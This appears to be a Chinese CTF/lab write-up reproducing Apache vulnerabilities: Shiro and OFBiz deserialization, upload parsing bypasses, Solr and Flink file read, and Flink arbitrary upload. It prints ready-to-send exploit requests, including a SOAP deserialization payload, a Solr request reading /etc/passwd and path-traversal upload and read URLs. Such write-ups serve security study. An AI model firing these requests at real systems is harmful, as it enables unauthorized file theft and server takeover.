Apache 漏洞复现

Track-mss   ·   发表于 2021-04-26 15:38:48   ·   CTF&WP专版

0X01 Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

进入网站,可以看到登陆页面

此处直接用github上的工具测试,用dnslog查看响应。贴出我用的:https://github.com/insightglacier/Shiro_exploit

查看查询记录,表明漏洞存在。

0X02 Apache 多后缀解析漏洞

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

  1. AddType text/html .html
  2. AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

  1. AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

进入靶场,http://[靶场url]/index.php中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为xxx.php.jpg或xxx.php.jpeg的文件,利用Apache解析漏洞进行getshell。

访问目标页面,可见被成功解析为php文件。

0X03 Apache HTTPD 换行解析漏洞(CVE-2017-15715)

apache 2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

复现过程,首先提交1.php文件,被拦截

再次提交文件,抓包修改数据包。在evil.php(名称可自定义)后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A。其中\x0D为\r的16进制,为回车符;\x0A为\n的16进制,为换行符),不再拦截:

访问刚才的/evil.php%0a页面:

0X04 Apache 目录遍历漏洞

当apache配置不当时产生的安全隐患,当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

来到目标页面,查看images子目录,可见文件被暴露了出来

接下来可以使用工具,扫描出网站的子目录,并利用此配置缺陷直接获得flag。

0X05 Apache OFBiz反序列化漏洞(CVE-2021-26295)

0x01 简介

Apache OFBiz 是用于企业流程自动化的开源产品,包括 ERP(企业资源规划)、CRM(客户关系管理)、电子商务/电子商务、SCM(供应链管理)、MRP(制造资源规划)、MMS / EAM(维护管理系统/企业资产管理)的框架组件和业务应用。

0x02 漏洞概述

近日,Apache OFBiz官方发布安全更新Apache OFBiz存在RMI反序列化前台命令执行,未经身份验证的攻击者可以使用此漏洞来成功接管Apache OFBiz。

0x03 影响版本

Apache OFBiz < 17.12.06

0x04复现

step1:
武器准备
下载:ysoserial.jar文件,下载地址:https://raw.githubusercontent.com/yumusb/CVE-2021-26295/main/ysoserial.jar
注意:java版本最好小于 12
准备文件:str2hex.py,内容如下

  1. import binascii
  2. filename = '1.txt'
  3. with open(filename, 'rb') as f:
  4. content = f.read()
  5. print(binascii.hexlify(content))

step2:
访问dnslog.cn获得一个域名,如xxx.dnslog.cn
构造并执行下列指令,获得hex 数据

  1. java -jar .\ysoserial.jar URLDNS http://xxx.dnslog.cn >test.txt
  2. python str2hex.py

step3:
访问目标/webtools/control/SOAPService,抓包修改位POST包,构造内容如下

  1. POST /webtools/control/SOAPService HTTP/1.1
  2. Host: 目标
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Cookie: OFBiz.Visitor=10100
  9. Upgrade-Insecure-Requests: 1
  10. Content-Type: test/xml
  11. Content-Length: 921
  12. <?xml version='1.0' encoding='UTF-8'?>
  13. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  14. <soapenv:Header/><soapenv:Body>
  15. <ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/">
  16. <ying:cus-obj>生成的hex 数据</ying:cus-obj>
  17. </ying:clearAllEntityCaches>
  18. </soapenv:Body>
  19. </soapenv:Envelope>


0X06 Apache Solr 任意文件读取漏洞

0x01 简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

0x02 漏洞概述

Apache-Solr任意文件读取漏洞漏洞,攻击者可以在未授权的情况下读取目标服务器敏感文件和相关内容。

0x03 影响版本

Apache Solr <= 8.8.1

0x04 复现步骤

step1:
访问目标/solr/admin/cores?indexInfo=false&wt=json,如
http://192.168.66.130:8984/solr/admin/cores?indexInfo=false&wt=json,记下图中数据,如testcore

step2:
构造并访问标/solr/testcore/config,http://192.168.66.130:8984/solr/testcore/config,抓包修改数据包类型为POST,构造如下数据包

  1. POST /solr/zkaq/config HTTP/1.1
  2. Host: 目标
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Connection: close
  10. Content-Type:application/json
  11. Content-Length: 82
  12. {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

step3:
构造并访问目标//solr/testcore/debug/dump?param=ContentStreams,如192.168.66.130:8984/solr/testcore/debug/dump?param=ContentStreams

抓包,修改为post包,添加&stream.url=file:///etc/passwd

  1. POST /solr/testcore/debug/dump HTTP/1.1
  2. Host: 192.168.66.130:8984
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/x-www-form-urlencoded
  10. Content-Length: 52
  11. param=ContentStreams&stream.url=file:///etc/passwd

0x01 简介

Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。

0x02 漏洞概述

Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

0x03 影响版本

1.11.0、1.11.1、1.11.2

0x04 漏洞复现

直接访问目标/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fflag

0x01 简介

Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。此外,Flink的运行时本身也支持迭代算法的执行。

0x02 漏洞概述

Flink 1.5.1引入了REST API,可通过恶意修改的HTTP HEADER,将任意文件复制到文件系统的任意位置。

0x03 影响版本

Flink 1.5.1-1.11.2

0x04 复现

构造如下POST

  1. POST /jars/upload HTTP/1.1
  2. Host: 目标地址
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
  7. Connection: close
  8. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
  9. Content-Length: 187
  10. ------WebKitFormBoundaryoZ8meKnrrso89R6Y
  11. Content-Disposition: form-data; name="jarfile"; filename="../../../../../../你要上传的目录/文件名"
  12. 文件内容
  13. ------WebKitFormBoundaryoZ8meKnrrso89R6Y--

如:

  1. POST /jars/upload HTTP/1.1
  2. Host: 目标地址
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
  7. Connection: close
  8. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
  9. Content-Length: 236
  10. ------WebKitFormBoundaryoZ8meKnrrso89R6Y
  11. Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/flink-web-1cffe0c9-d13e-4a19-bde2-3b4703ee29de/test123"
  12. success
  13. ------WebKitFormBoundaryoZ8meKnrrso89R6Y--

访问目标地址/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252ftest123

打赏我,让我更有动力~

0 条回复   |  直到 2021-4-26 | 2087 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.